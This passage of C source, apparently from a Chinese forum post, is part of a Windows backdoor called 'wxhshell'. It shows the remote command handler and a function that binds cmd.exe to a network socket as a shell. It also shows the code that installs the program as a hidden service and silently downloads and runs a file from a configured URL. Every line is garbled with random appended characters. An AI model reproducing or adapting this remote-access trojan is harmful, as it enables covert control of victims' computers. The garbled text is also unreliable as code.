  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e2AN[Ar  
  } aho'|%y)  
  else { Hp)X^O"  
9VoDhsKk  
    switch(cmd[0]) { YgE]d?_h  
  4M @ oj  
  // 帮助 ]d@^i)2LF  
  case '?': { OUEI~b1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J [ YtA  
    break; |SGgy|/a#  
  } .FIt.XPzv  
  // 安装 k}-yOP{  
  case 'i': { q>_vE{UB  
    if(Install()) g .64Id  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -VS9`7k  
    else :tRf@bD#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3iE-6udCS  
    break; XR*Q|4  
    } ;i<$7MR.e  
  // 卸载 {S[I_\3  
  case 'r': { :GU,EDps  
    if(Uninstall()) ^"3\iA:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 06 QU  
    else U't E^W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e8$l0gzaD  
    break; >(hSW~i~  
    } ePf+[pV3  
  // 显示 wxhshell 所在路径 Dc08D4   
  case 'p': { (+|X<Bl:`  
    char svExeFile[MAX_PATH]; LmP qLH'(Q  
    strcpy(svExeFile,"\n\r"); OE_ QInb<  
      strcat(svExeFile,ExeFile); q`XW5VV{K  
        send(wsh,svExeFile,strlen(svExeFile),0); 7FAIew\r  
    break;  l B1#  
    } p6`Pp"J_tr  
  // 重启 z< z*Wz  
  case 'b': { 0y)}.'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,zQo {.  
    if(Boot(REBOOT)) _eGT2,D5r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6gXIt9B.h$  
    else { l0I}&,+  
    closesocket(wsh); @.'z* |z  
    ExitThread(0); g %f*ofb  
    } dXmV@ Noo  
    break; ).LTts7c  
    } MR`:5e  
  // 关机 p8Iw!HE  
  case 'd': { -;^;2#](g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7W"/ N#G  
    if(Boot(SHUTDOWN)) sONBQ9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dm6~  
    else { /RGNAHtIi  
    closesocket(wsh); oh6B3>>+  
    ExitThread(0); zF8'i=b&  
    } $(ewk):  
    break; [QT 1Ju64  
    } s2FngAM;f  
  // 获取shell +iy7e6P  
  case 's': { 'Gjq/L/x  
    CmdShell(wsh); &rp!%]+xAM  
    closesocket(wsh); RPVT*`o  
    ExitThread(0); P"1 S$oc  
    break; [8"ojhdV  
  } #Z\ O}<  
  // 退出 Cp#)wxi6[y  
  case 'x': { A3HF,EG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {XgnZ`*  
    CloseIt(wsh); 5o#Yt  
    break; _d@=nK)  
    } piOXo=9H.  
  // 离开 m 41t(i  
  case 'q': { ?vgH"W~3>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K^zDNIQU  
    closesocket(wsh); k6!4Zz_8  
    WSACleanup(); P}V=*g  
    exit(1); Tv5g`/e=Ej  
    break; >E:<E'L  
        } eWvo,4  
  } MAqLIf<G  
  } /- 4$7qd  
oE?QnH3R  
  // 提示信息 3xNMPm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q$ri=uB;+  
} >`'O7.R  
  } BByCM Y  
auHFir 8f  
  return; NOt@M  
} iWE)<h  
-Xz&}QA  
// shell模块句柄 5l DFp9  
int CmdShell(SOCKET sock) ]XeO0Y  
{ C5W>W4EM  
STARTUPINFO si; b.F^vv"]]  
ZeroMemory(&si,sizeof(si)); :?Y$bX}a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jq ]:<TQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K>2#UzW  
PROCESS_INFORMATION ProcessInfo; 9!U@"~yB  
char cmdline[]="cmd"; 5,pSg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F7MzCZvu  
  return 0; %O%=rUD  
} ^j)BKD-  
Y[Ltrk{  
// 自身启动模式 8FkFM^\1L  
int StartFromService(void) in-C/m#  
{ !k&Q 5s:  
typedef struct >TjJA #  
{ gRJfX %*F  
  DWORD ExitStatus; {/<6v. v  
  DWORD PebBaseAddress; 7=XL!:P  
  DWORD AffinityMask; %7hB&[ 5  
  DWORD BasePriority; `^9(Ot $  
  ULONG UniqueProcessId; _qXa=|}V.  
  ULONG InheritedFromUniqueProcessId; xJs;v  
}   PROCESS_BASIC_INFORMATION; =~KsS }`1,  
!yOeW0/2[  
PROCNTQSIP NtQueryInformationProcess; Avlz=k1*  
C\ZkGX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !? 5U|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,`A?!.K$  
" =] -%B  
  HANDLE             hProcess; QK`i%TXJ  
  PROCESS_BASIC_INFORMATION pbi; P u0uKE  
!0,Mp@ j/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,TJ D$^  
  if(NULL == hInst ) return 0; ;z~n.0'  
nqVZqX@oE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M$Zo.Bl$(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AJ^#eY5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  j2l55@  
clw%B  
  if (!NtQueryInformationProcess) return 0; ;Xvp6.:  
9Z5D\yv?H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3q:n'PC)C  
  if(!hProcess) return 0; 3]&o*Ib1`_  
evA/+F ,&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qFQ 8  
l`-bFmpA  
  CloseHandle(hProcess); u{N,Ib 8  
;6ecrQMw&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h].~#*  
if(hProcess==NULL) return 0; COzyG.R.  
`(6r3f~XJ  
HMODULE hMod; G rmzkNlN  
char procName[255]; OS|>t./U  
unsigned long cbNeeded; ^D`v3d  
W1B)]IHc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KOz(TZ?u  
8X|r4otn4  
  CloseHandle(hProcess); vIl+#9L0  
^ci3F<?Q=  
if(strstr(procName,"services")) return 1; // 以服务启动 S& #U!#@  
0 [?ny`Y  
  return 0; // 注册表启动 E37<"(;  
} D?yG+%&9  
me6OPc;:!  
// 主模块 fb~=Y$|  
int StartWxhshell(LPSTR lpCmdLine) ^.k |SK`U  
{ `U#55k9^5  
  SOCKET wsl; x_Jwd^`t!  
BOOL val=TRUE; B+C);WQ,  
  int port=0; zA+~7;7E  
  struct sockaddr_in door; hQ6a~?f  
KDl_?9E5  
  if(wscfg.ws_autoins) Install(); )irRO8  
HHX-1+L  
port=atoi(lpCmdLine); U j+j}C  
[gy*`@w  
if(port<=0) port=wscfg.ws_port; R8rfM?"W  
<<=WY_m}  
  WSADATA data; #P]#9Ty:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D`J6h,=2l/  
J_Ltuso  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #ET/ =  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8]4U`\k4  
  door.sin_family = AF_INET; 63`{.yZ*z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q#h 9n]5  
  door.sin_port = htons(port); &B! o,qp  
+w@M~?>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2C{H$ A,pW  
closesocket(wsl); C2Xd?d  
return 1; jM-)BP6f4  
} >5s6u`\  
R4ht6Vm3g)  
  if(listen(wsl,2) == INVALID_SOCKET) { ebPgYxVZR  
closesocket(wsl); :l|%17N  
return 1; HV6f@  
} *(PL _/:  
  Wxhshell(wsl); &Ysosy*  
  WSACleanup(); |6=p{ y  
xI>A6  
return 0; HB Iip?  
l;y7]DO  
} >.dWjb6t  
8 k3S  
// 以NT服务方式启动 '* \|; l#1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zC _<(4$-"  
{ s w39\urf  
DWORD   status = 0; >``MR%E:<  
  DWORD   specificError = 0xfffffff; ~QvqG{bFB  
"\0v,!@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p-1 3H0Kt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /mp*>sNr6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8,0YD#x  
  serviceStatus.dwWin32ExitCode     = 0; Y&/]O$<  
  serviceStatus.dwServiceSpecificExitCode = 0; DjSbyXvrg  
  serviceStatus.dwCheckPoint       = 0; 'v]u#/7a  
  serviceStatus.dwWaitHint       = 0; lA>DS#_  
f!O{%ev  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )(y) A[  
  if (hServiceStatusHandle==0) return; sdQkT#%y  
]4;PR("aU  
status = GetLastError(); }$bF 5&  
  if (status!=NO_ERROR) <dW]\h?)  
{ z25m_[p2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wywQ<n  
    serviceStatus.dwCheckPoint       = 0; Vp>|hj po  
    serviceStatus.dwWaitHint       = 0; G7N| :YK  
    serviceStatus.dwWin32ExitCode     = status; sP^R/z|Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; [s&$l G!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V+I|1{@i0  
    return; t |~YEQ  
  } a'!zG cT  
Qt vYv!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [HCAmnb  
  serviceStatus.dwCheckPoint       = 0; +la2n(CAK  
  serviceStatus.dwWaitHint       = 0; pv&y91  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B<C*  
} KiJT!moB  
K_K5'2dE  
// 处理NT服务事件,比如:启动、停止 4lBU#V7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D@!=d@V.  
{ hs}8xl  
switch(fdwControl) vDH>H^9Y  
{ qhT@;W/X  
case SERVICE_CONTROL_STOP: 7O, U?p  
  serviceStatus.dwWin32ExitCode = 0; 61xs%kxb..  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rk)##)  
  serviceStatus.dwCheckPoint   = 0; ` AY_2>7  
  serviceStatus.dwWaitHint     = 0; F'hHK.tT  
  { P;k0W>~k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z )HD`Ho  
  } i86>]  
  return; E*jP87g  
case SERVICE_CONTROL_PAUSE: ?s:d[To6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 44-R!  
  break; V*W;OiE_ 3  
case SERVICE_CONTROL_CONTINUE: 3>Y 6)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gks{\H]  
  break; CZ nOui  
case SERVICE_CONTROL_INTERROGATE: hGiz)v~  
  break; b, :QT~g=  
}; `F/Tv 5@L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yz0zFfiX  
} A<W 6=5h  
?2>FdtH  
// 标准应用程序主函数 y.[Mnj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'Y]mOD^ p  
{ NMA}Q$o s  
jAud {m*T  
// 获取操作系统版本 9;veuX#(  
OsIsNt=GetOsVer(); 1AU#%wIEP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cq$i  
QcgfBsv96  
  // 从命令行安装  |jM4E$  
  if(strpbrk(lpCmdLine,"iI")) Install(); !ET~KL!  
[ :zO}r:  
  // 下载执行文件 )KP5Wud X  
if(wscfg.ws_downexe) { @r?Uua  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e @IA20  
  WinExec(wscfg.ws_filenam,SW_HIDE); d 9q(xZ5  
} :H c0b=  
5|1 T}Z#;  
if(!OsIsNt) { /tUy3myJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 i\dc>C ;  
HideProc(); 3\Xbmq8}  
StartWxhshell(lpCmdLine); lg(bDK m  
} *k19LI.5  
else hXA6D)   
  if(StartFromService()) |m2X+s9  
  // 以服务方式启动 DG?"5:Zd  
  StartServiceCtrlDispatcher(DispatchTable); Ps 8%J;  
else G_SG  
  // 普通方式启动 s&NX@  
  StartWxhshell(lpCmdLine); {uHU]6d3qy  
=KR NvW  
return 0; @WI2hHD  
}
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只看该作者 1 发表于: 2006-10-10
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